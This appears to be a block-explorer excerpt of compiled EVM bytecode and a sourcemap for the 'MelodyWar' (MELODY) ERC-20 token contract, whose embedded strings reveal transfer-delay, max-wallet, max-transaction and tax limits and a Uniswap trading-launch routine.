b03848116911614801590610e265750600e546001600160a01b03848116911614155b15610ed457326000908152600660205260409020544311610ec15760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161040f565b3260009081526006602052604090204390555b600e546001600160a01b038581169116148015610eff57506001546001600160a01b03848116911614155b8015610f2457506001600160a01b03831660009081526004602052604090205460ff16155b1561103257610f496064610f436007548561131c90919063ffffffff16565b906113a5565b9050600954821115610fa95760405162461bcd60e51b8152602060048201526024808201527f5f7472616e736665723a204578636565647320746865205f6d61785478416d6f6044820152633ab73a1760e11b606482015260840161040f565b600a5482610fcc856001600160a01b031660009081526003602052604090205490565b610fd69190611983565b11156110325760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b606482015260840161040f565b600e546001600160a01b03848116911614801561105857506001600160a01b0384163014155b156110d8576001600160a01b03841660009081526005602052604090205460ff16156110bb5761108882826113e7565b6001600160a01b038416600090815260036020526040812080549091906110b0908490611983565b909155505050505050565b6110d56064610f436008548561131c90919063ffffffff16565b90505b30600090815260036020526040902054600e54600160a81b900460ff1615801561110f5750600e546001600160a01b038581169116145b80156111245750600e54600160b01b900460ff165b80156111315750600b5483115b1561119d57600c54811061114f5761114a600c54611429565b611162565b600b548111156111625761116281611429565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561119b573d6000803e3d6000fd5b505b505b801561121957306000908152600360205260409020546111bf90826115a3565b30600081815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112109085815260200190565b60405180910390a35b6001600160a01b03841660009081526003602052604090205461123c90836113e7565b6001600160a01b03851660009081526003602052604090205561128161126283836113e7565b6001600160a01b038516600090815260036020526040902054906115a3565b6001600160a01b0380851660008181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112cb85856113e7565b60405190815260200160405180910390a350505050565b600081848411156113065760405162461bcd60e51b815260040161040f9190611630565b5060006113138486611996565b95945050505050565b60008260000361132e575060006107f5565b600061133a83856118b9565b90508261134785836119a9565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b9392505050565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611602565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e2565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611471576114716119cb565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ee91906118d0565b81600181518110611501576115016119cb565b6001600160a01b0392831660209182029290920101526001546115279130911684610b5f565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115609085906000908690309042906004016119e1565b600060405180830381600087803b15801561157a57600080fd5b505af115801561158e573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000806115b08385611983565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b600081836116235760405162461bcd60e51b815260040161040f9190611630565b50600061131384866119a9565b600060208083528351808285015260005b8181101561165d57858101830151858201604001528201611641565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169357600080fd5b50565b600080604083850312156116a957600080fd5b82356116b48161167e565b946020939093013593505050565b6000806000606084860312156116d757600080fd5b83356116e28161167e565b925060208401356116f28161167e565b929592945050506040919091013590565b6000806040838503121561171657600080fd5b50508035926020909101359150565b60006020828403121561173757600080fd5b813561139e8161167e565b6000806040838503121561175557600080fd5b82356117608161167e565b915060208301356117708161167e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118015781600019048211156117e7576117e76117b0565b808516156117f457918102915b93841c93908002906117cb565b509250929050565b600082611818575060016107f5565b81611825575060006107f5565b816001811461183b576002811461184557611861565b60019150506107f5565b60ff841115611856576118566117b0565b50506001821b6107f5565b5060208310610133831016604e8410600b8410161715611884575081810a6107f5565b61188e83836117c6565b80600019048211156118a2576118a26117b0565b029392505050565b600061139e60ff841683611809565b80820281158282048414176107f5576107f56117b0565b6000602082840312156118e257600080fd5b815161139e8161167e565b60008060006060848603121561190257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192d57600080fd5b8151801515811461139e57600080fd5b60208082526026908201527f5461782073686f756c64206265206c657373207468616e206f7220657175616c60408201526520746f20323560d01b606082015260800190565b808201808211156107f5576107f56117b0565b818103818111156107f5576107f56117b0565b6000826119c657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a315784516001600160a01b031683529383019391830191600101611a0c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201904f86b813b36283da8190526cbab8583c359cad09524504963ab47c385d54464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610333578063bf474bed14610353578063c876d0b914610369578063dd62ed3e1461038a578063e884f260146103d057600080fd5b8063751039fc1461029b5780637d1db4a5146102b05780638da5cb5b146102c657806395d89b41146102ee57806398f235fe1461031d57600080fd5b806330227cde116100e757806330227cde146101fe578063313ce5671461021e5780636c0a24eb1461023a57806370a0823114610250578063715018a61461028657600080fd5b806301339c211461012f57806306fdde0314610146578063095ea7b31461018b57806318160ddd146101bb57806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103e5565b005b34801561015257600080fd5b5060408051808201909152600a81526904d656c6f6479576172760b41b60208201525b6040516101829190611630565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611696565b6107e4565b6040519015158152602001610182565b3480156101c757600080fd5b506101d06107fb565b604051908152602001610182565b3480156101ea57600080fd5b506101ab6101f93660046116c2565b61081c565b34801561020a57600080fd5b50610144610219366004611703565b610880565b34801561022a57600080fd5b5060405160128152602001610182565b34801561024657600080fd5b506101d0600a5481565b34801561025c57600080fd5b506101d061026b366004611725565b6001600160a01b031660009081526003602052604090205490565b34801561029257600080fd5b50610144610933565b3480156102a757600080fd5b506101446109a7565b3480156102bc57600080fd5b506101d060095481565b3480156102d257600080fd5b506000546040516001600160a01b039091168152602001610182565b3480156102fa57600080fd5b506040805180820190915260068152654d454c4f445960d01b6020820152610175565b34801561032957600080fd5b506101d0600b5481565b34801561033f57600080fd5b506101ab61034e366004611696565b610aea565b34801561035f57600080fd5b506101d0600c5481565b34801561037557600080fd5b50600e546101ab90600160b81b900460ff1681565b34801561039657600080fd5b506101d06103a5366004611742565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103dc57600080fd5b50610144610af7565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f9061177b565b60405180910390fd5b600e54600160a01b900460ff161561047e5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b606482015260840161040f565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104cc9030906104b96012600a6118aa565b6104c7906305f5e1006118b9565b610b5f565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054391906118d0565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c991906118d0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a91906118d0565b600e80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610682816001600160a01b031660009081526003602052604090205490565b6000806106976000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ff573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072491906118ed565b5050600e5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a1919061191b565b50600e805462ff00ff60a01b19166201000160a01b1790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b60006107f1338484610b5f565b5060015b92915050565b60006108096012600a6118aa565b610817906305f5e1006118b9565b905090565b6000610829848484610c83565b61087684336104c785604051806060016040528060288152602001611a53602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112e2565b5060019392505050565b6000546001600160a01b031633146108aa5760405162461bcd60e51b815260040161040f9061177b565b60148211156108cb5760405162461bcd60e51b815260040161040f9061193d565b60148111156108ec5760405162461bcd60e51b815260040161040f9061193d565b6007829055600881905560408051838152602081018390527f528d9479e9f9889a87a3c30c7f7ba537e5e59c4c85a37733b16e57c62df61302910160405180910390a15050565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161040f9061177b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d15760405162461bcd60e51b815260040161040f9061177b565b6109dd6012600a6118aa565b6109eb906305f5e1006118b9565b6009556109fa6012600a6118aa565b610a08906305f5e1006118b9565b600a908155600e805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610a48906012906118aa565b610a56906305f5e1006118b9565b60405190815260200160405180910390a17ffb1fe1002b7550e87616e67793dbb7d3f437a79c2688c372c66dc170dbcb0efd610a946012600a6118aa565b610aa2906305f5e1006118b9565b60405190815260200160405180910390a1604051600081527f8ac0cb4bc9520a34c87856d204a441aedd0ffcf148414be1fe31e1ad57474022906020015b60405180910390a1565b60006107f1338484610c83565b6000546001600160a01b03163314610b215760405162461bcd60e51b815260040161040f9061177b565b600e805460ff60b81b19169055604051600081527f8ac0cb4bc9520a34c87856d204a441aedd0ffcf148414be1fe31e1ad5747402290602001610ae0565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610db65760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b606482015260840161040f565b600080546001600160a01b03858116911614801590610de357506000546001600160a01b03848116911614155b1561119f57600e54600160b81b900460ff1615610ed4576001546001600160a01b03848116911614801590610e265750600e546001600160a01b03848116911614155b15610ed457326000908152600660205260409020544311610ec15760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161040f565b3260009081526006602052604090204390555b600e546001600160a01b038581169116148015610eff57506001546001600160a01b03848116911614155b8015610f2457506001600160a01b03831660009081526004602052604090205460ff16155b1561103257610f496064610f436007548561131c90919063ffffffff16565b906113a5565b9050600954821115610fa95760405162461bcd60e51b8152602060048201526024808201527f5f7472616e736665723a204578636565647320746865205f6d61785478416d6f6044820152633ab73a1760e11b606482015260840161040f565b600a5482610fcc856001600160a01b031660009081526003602052604090205490565b610fd69190611983565b11156110325760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b606482015260840161040f565b600e546001600160a01b03848116911614801561105857506001600160a01b0384163014155b156110d8576001600160a01b03841660009081526005602052604090205460ff16156110bb5761108882826113e7565b6001600160a01b038416600090815260036020526040812080549091906110b0908490611983565b909155505050505050565b6110d56064610f436008548561131c90919063ffffffff16565b90505b30600090815260036020526040902054600e54600160a81b900460ff1615801561110f5750600e546001600160a01b038581169116145b80156111245750600e54600160b01b900460ff165b80156111315750600b5483115b1561119d57600c54811061114f5761114a600c54611429565b611162565b600b548111156111625761116281611429565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561119b573d6000803e3d6000fd5b505b505b801561121957306000908152600360205260409020546111bf90826115a3565b30600081815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112109085815260200190565b60405180910390a35b6001600160a01b03841660009081526003602052604090205461123c90836113e7565b6001600160a01b03851660009081526003602052604090205561128161126283836113e7565b6001600160a01b038516600090815260036020526040902054906115a3565b6001600160a01b0380851660008181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112cb85856113e7565b60405190815260200160405180910390a350505050565b600081848411156113065760405162461bcd60e51b815260040161040f9190611630565b5060006113138486611996565b95945050505050565b60008260000361132e575060006107f5565b600061133a83856118b9565b90508261134785836119a9565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b9392505050565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611602565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e2565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611471576114716119cb565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ee91906118d0565b81600181518110611501576115016119cb565b6001600160a01b0392831660209182029290920101526001546115279130911684610b5f565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115609085906000908690309042906004016119e1565b600060405180830381600087803b15801561157a57600080fd5b505af115801561158e573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000806115b08385611983565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b600081836116235760405162461bcd60e51b815260040161040f9190611630565b50600061131384866119a9565b600060208083528351808285015260005b8181101561165d57858101830151858201604001528201611641565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169357600080fd5b50565b600080604083850312156116a957600080fd5b82356116b48161167e565b946020939093013593505050565b6000806000606084860312156116d757600080fd5b83356116e28161167e565b925060208401356116f28161167e565b929592945050506040919091013590565b6000806040838503121561171657600080fd5b50508035926020909101359150565b60006020828403121561173757600080fd5b813561139e8161167e565b6000806040838503121561175557600080fd5b82356117608161167e565b915060208301356117708161167e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118015781600019048211156117e7576117e76117b0565b808516156117f457918102915b93841c93908002906117cb565b509250929050565b600082611818575060016107f5565b81611825575060006107f5565b816001811461183b576002811461184557611861565b60019150506107f5565b60ff841115611856576118566117b0565b50506001821b6107f5565b5060208310610133831016604e8410600b8410161715611884575081810a6107f5565b61188e83836117c6565b80600019048211156118a2576118a26117b0565b029392505050565b600061139e60ff841683611809565b80820281158282048414176107f5576107f56117b0565b6000602082840312156118e257600080fd5b815161139e8161167e565b60008060006060848603121561190257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192d57600080fd5b8151801515811461139e57600080fd5b60208082526026908201527f5461782073686f756c64206265206c657373207468616e206f7220657175616c60408201526520746f20323560d01b606082015260800190565b808201808211156107f5576107f56117b0565b818103818111156107f5576107f56117b0565b6000826119c657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a315784516001600160a01b031683529383019391830191600101611a0c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201904f86b813b36283da8190526cbab8583c359cad09524504963ab47c385d54464736f6c63430008130033
Deployed Bytecode Sourcemap
9827:11832:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20378:1128;;;;;;;;;;;;;:::i;:::-;;11898:83;;;;;;;;;;-1:-1:-1;11968:5:0;;;;;;;;;;;;-1:-1:-1;;;11968:5:0;;;;11898:83;;;;;;;:::i;:::-;;;;;;;;14102:161;;;;;;;;;;-1:-1:-1;14102:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;14102:161:0;1023:187:1;12497:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;12497:100:0;1215:177:1;14622:313:0;;;;;;;;;;-1:-1:-1;14622:313:0;;;;;:::i;:::-;;:::i;19226:333::-;;;;;;;;;;-1:-1:-1;19226:333:0;;;;;:::i;:::-;;:::i;12305:83::-;;;;;;;;;;-1:-1:-1;12305:83:0;;10111:2;2253:36:1;;2241:2;2226:18;12305:83:0;2111:184:1;10627:58:0;;;;;;;;;;;;;;;;12793:119;;;;;;;;;;-1:-1:-1;12793:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;12886:18:0;12859:7;12886:18;;;:9;:18;;;;;;;12793:119;7098:148;;;;;;;;;;;;;:::i;19795:311::-;;;;;;;;;;;;;:::i;10566:54::-;;;;;;;;;;;;;;;;6548:79;;;;;;;;;;-1:-1:-1;6586:7:0;6613:6;6548:79;;-1:-1:-1;;;;;6613:6:0;;;2698:51:1;;2686:2;2671:18;6548:79:0;2552:203:1;12091:87:0;;;;;;;;;;-1:-1:-1;12163:7:0;;;;;;;;;;;;-1:-1:-1;;;12163:7:0;;;;12091:87;;10692:61;;;;;;;;;;;;;;;;13194:167;;;;;;;;;;-1:-1:-1;13194:167:0;;;;;:::i;:::-;;:::i;10760:58::-;;;;;;;;;;;;;;;;11010:39;;;;;;;;;;-1:-1:-1;11010:39:0;;;;-1:-1:-1;;;11010:39:0;;;;;;13652:143;;;;;;;;;;-1:-1:-1;13652:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13760:18:0;;;13733:7;13760:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13652:143;20229:141;;;;;;;;;;;;;:::i;20378:1128::-;6760:6;;-1:-1:-1;;;;;6760:6:0;527:10;6760:22;6752:67;;;;-1:-1:-1;;;6752:67:0;;;;;;;:::i;:::-;;;;;;;;;20439:11:::1;::::0;-1:-1:-1;;;20439:11:0;::::1;;;20438:12;20430:61;;;::::0;-1:-1:-1;;;20430:61:0;;3716:2:1;20430:61:0::1;::::0;::::1;3698:21:1::0;3755:2;3735:18;;;3728:30;3794:34;3774:18;;;3767:62;-1:-1:-1;;;3845:18:1;;;3838:34;3889:19;;20430:61:0::1;3514:400:1::0;20430:61:0::1;20546:15;:104:::0;;-1:-1:-1;;;;;;20546:104:0::1;20597:42;20546:104:::0;;::::1;::::0;;;20733:63:::1;::::0;20750:4:::1;::::0;10172:13:::1;10111:2;10172;:13;:::i;:::-;10160:25;::::0;:9:::1;:25;:::i;:::-;20733:8;:63::i;:::-;20879:15;;;;;;;;;-1:-1:-1::0;;;;;20879:15:0::1;-1:-1:-1::0;;;;;20879:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20861:55:0::1;;20925:4;20932:15;;;;;;;;;-1:-1:-1::0;;;;;20932:15:0::1;-1:-1:-1::0;;;;;20932:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20861:94;::::0;-1:-1:-1;;;;;;20861:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6093:15:1;;;20861:94:0::1;::::0;::::1;6075:34:1::0;6145:15;;6125:18;;;6118:43;6010:18;;20861:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20845:13;:110:::0;;-1:-1:-1;;;;;20845:110:0;;::::1;-1:-1:-1::0;;;;;;20845:110:0;;::::1;;::::0;;;21014:15;::::1;:31;21067:21;21122:4;21142:24;21122:4:::0;-1:-1:-1;;;;;12886:18:0;12859:7;12886:18;;;:9;:18;;;;;;;12793:119;21142:24:::1;21181:1;21197::::0;21213:7:::1;6586::::0;6613:6;-1:-1:-1;;;;;6613:6:0;;6548:79;21213:7:::1;21014:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;21014:247:0;;;-1:-1:-1;;;;;6531:15:1;;;21014:247:0::1;::::0;::::1;6513:34:1::0;6563:18;;;6556:34;;;;6606:18;;;6599:34;;;;6649:18;;;6642:34;6713:15;;;6692:19;;;6685:44;21235:15:0::1;6745:19:1::0;;;6738:35;6447:19;;21014:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;21343:13:0::1;::::0;;21374:15;21336:71:::1;::::0;-1:-1:-1;;;21336:71:0;;-1:-1:-1;;;;;21374:15:0;;::::1;21336:71;::::0;::::1;7269:51:1::0;-1:-1:-1;;7336:18:1;;;7329:34;21343:13:0;::::1;::::0;-1:-1:-1;21336:29:0::1;::::0;7242:18:1;;21336:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;21420:11:0::1;:18:::0;;-1:-1:-1;;;;21449:18:0;-1:-1:-1;;;21449:18:0;;;21483:15:::1;::::0;::::1;::::0;-1:-1:-1;;21483:15:0::1;20378:1128::o:0;14102:161::-;14177:4;14194:39;527:10;14217:7;14226:6;14194:8;:39::i;:::-;-1:-1:-1;14251:4:0;14102:161;;;;;:::o;12497:100::-;12550:7;10172:13;10111:2;10172;:13;:::i;:::-;10160:25;;:9;:25;:::i;:::-;12570:19;;12497:100;:::o;14622:313::-;14720:4;14737:36;14747:6;14755:9;14766:6;14737:9;:36::i;:::-;14784:121;14793:6;527:10;14815:89;14853:6;14815:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14815:19:0;;;;;;:11;:19;;;;;;;;527:10;14815:33;;;;;;;;;;:37;:89::i;14784:121::-;-1:-1:-1;14923:4:0;14622:313;;;;;:::o;19226:333::-;6760:6;;-1:-1:-1;;;;;6760:6:0;527:10;6760:22;6752:67;;;;-1:-1:-1;;;6752:67:0;;;;;;;:::i;:::-;19330:2:::1;19320:6;:12;;19312:63;;;;-1:-1:-1::0;;;19312:63:0::1;;;;;;;:::i;:::-;19405:2;19394:7;:13;;19386:64;;;;-1:-1:-1::0;;;19386:64:0::1;;;;;;;:::i;:::-;19461:7;:16:::0;;;19488:8:::1;:18:::0;;;19522:29:::1;::::0;;8237:25:1;;;8293:2;8278:18;;8271:34;;;19522:29:0::1;::::0;8210:18:1;19522:29:0::1;;;;;;;19226:333:::0;;:::o;7098:148::-;6760:6;;-1:-1:-1;;;;;6760:6:0;527:10;6760:22;6752:67;;;;-1:-1:-1;;;6752:67:0;;;;;;;:::i;:::-;7205:1:::1;7189:6:::0;;7168:40:::1;::::0;-1:-1:-1;;;;;7189:6:0;;::::1;::::0;7168:40:::1;::::0;7205:1;;7168:40:::1;7236:1;7219:19:::0;;-1:-1:-1;;;;;;7219:19:0::1;::::0;;7098:148::o;19795:311::-;6760:6;;-1:-1:-1;;;;;6760:6:0;527:10;6760:22;6752:67;;;;-1:-1:-1;;;6752:67:0;;;;;;;:::i;:::-;10172:13:::1;10111:2;10172;:13;:::i;:::-;10160:25;::::0;:9:::1;:25;:::i;:::-;19849:12;:27:::0;10172:13:::1;10111:2;10172;:13;:::i;:::-;10160:25;::::0;:9:::1;:25;:::i;:::-;19887:16;:31:::0;;;19929:20:::1;:28:::0;;-1:-1:-1;;;;19929:28:0::1;::::0;;19973:32:::1;::::0;10172:13:::1;::::0;10111:2:::1;::::0;10172:13:::1;:::i;:::-;10160:25;::::0;:9:::1;:25;:::i;:::-;19973:32;::::0;1361:25:1;;;1349:2;1334:18;19973:32:0::1;;;;;;;20021:34;10172:13;10111:2;10172;:13;:::i;:::-;10160:25;::::0;:9:::1;:25;:::i;:::-;20021:34;::::0;1361:25:1;;;1349:2;1334:18;20021:34:0::1;;;;;;;20071:27;::::0;20092:5:::1;1163:41:1::0;;20071:27:0::1;::::0;1151:2:1;1136:18;20071:27:0::1;;;;;;;;19795:311::o:0;13194:167::-;13272:4;13289:42;527:10;13313:9;13324:6;13289:9;:42::i;20229:141::-;6760:6;;-1:-1:-1;;;;;6760:6:0;527:10;6760:22;6752:67;;;;-1:-1:-1;;;6752:67:0;;;;;;;:::i;:::-;20291:20:::1;:28:::0;;-1:-1:-1;;;;20291:28:0::1;::::0;;20335:27:::1;::::0;-1:-1:-1;1163:41:1;;20335:27:0::1;::::0;1151:2:1;1136:18;20335:27:0::1;1023:187:1::0;15242:335:0;-1:-1:-1;;;;;15335:19:0;;15327:68;;;;-1:-1:-1;;;15327:68:0;;8518:2:1;15327:68:0;;;8500:21:1;8557:2;8537:18;;;8530:30;8596:34;8576:18;;;8569:62;-1:-1:-1;;;8647:18:1;;;8640:34;8691:19;;15327:68:0;8316:400:1;15327:68:0;-1:-1:-1;;;;;15414:21:0;;15406:68;;;;-1:-1:-1;;;15406:68:0;;8923:2:1;15406:68:0;;;8905:21:1;8962:2;8942:18;;;8935:30;9001:34;8981:18;;;8974:62;-1:-1:-1;;;9052:18:1;;;9045:32;9094:19;;15406:68:0;8721:398:1;15406:68:0;-1:-1:-1;;;;;15485:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15537:32;;1361:25:1;;;15537:32:0;;1334:18:1;15537:32:0;;;;;;;15242:335;;;:::o;15855:2742::-;-1:-1:-1;;;;;15943:18:0;;15935:68;;;;-1:-1:-1;;;15935:68:0;;9326:2:1;15935:68:0;;;9308:21:1;9365:2;9345:18;;;9338:30;9404:34;9384:18;;;9377:62;-1:-1:-1;;;9455:18:1;;;9448:35;9500:19;;15935:68:0;9124:401:1;15935:68:0;-1:-1:-1;;;;;16022:16:0;;16014:64;;;;-1:-1:-1;;;16014:64:0;;9732:2:1;16014:64:0;;;9714:21:1;9771:2;9751:18;;;9744:30;9810:34;9790:18;;;9783:62;-1:-1:-1;;;9861:18:1;;;9854:33;9904:19;;16014:64:0;9530:399:1;16014:64:0;16106:1;16097:6;:10;16089:75;;;;-1:-1:-1;;;16089:75:0;;10136:2:1;16089:75:0;;;10118:21:1;10175:2;10155:18;;;10148:30;10214:34;10194:18;;;10187:62;-1:-1:-1;;;10265:18:1;;;10258:50;10325:19;;16089:75:0;9934:416:1;16089:75:0;16177:17;6613:6;;-1:-1:-1;;;;;16304:15:0;;;6613:6;;16304:15;;;;:32;;-1:-1:-1;6586:7:0;6613:6;-1:-1:-1;;;;;16323:13:0;;;6613:6;;16323:13;;16304:32;16300:1805;;;16357:20;;-1:-1:-1;;;16357:20:0;;;;16353:388;;;16416:15;;-1:-1:-1;;;;;16402:30:0;;;16416:15;;16402:30;;;;:62;;-1:-1:-1;16450:13:0;;-1:-1:-1;;;;;16436:28:0;;;16450:13;;16436:28;;16402:62;16398:328;;;16526:9;16497:39;;;;:28;:39;;;;;;16539:12;-1:-1:-1;16489:140:0;;;;-1:-1:-1;;;16489:140:0;;10557:2:1;16489:140:0;;;10539:21:1;10596:2;10576:18;;;10569:30;10635:34;10615:18;;;10608:62;10706:34;10686:18;;;10679:62;-1:-1:-1;;;10757:19:1;;;10750:40;10807:19;;16489:140:0;10355:477:1;16489:140:0;16681:9;16652:39;;;;:28;:39;;;;;16694:12;16652:54;;16398:328;16856:13;;-1:-1:-1;;;;;16848:21:0;;;16856:13;;16848:21;:55;;;;-1:-1:-1;16887:15:0;;-1:-1:-1;;;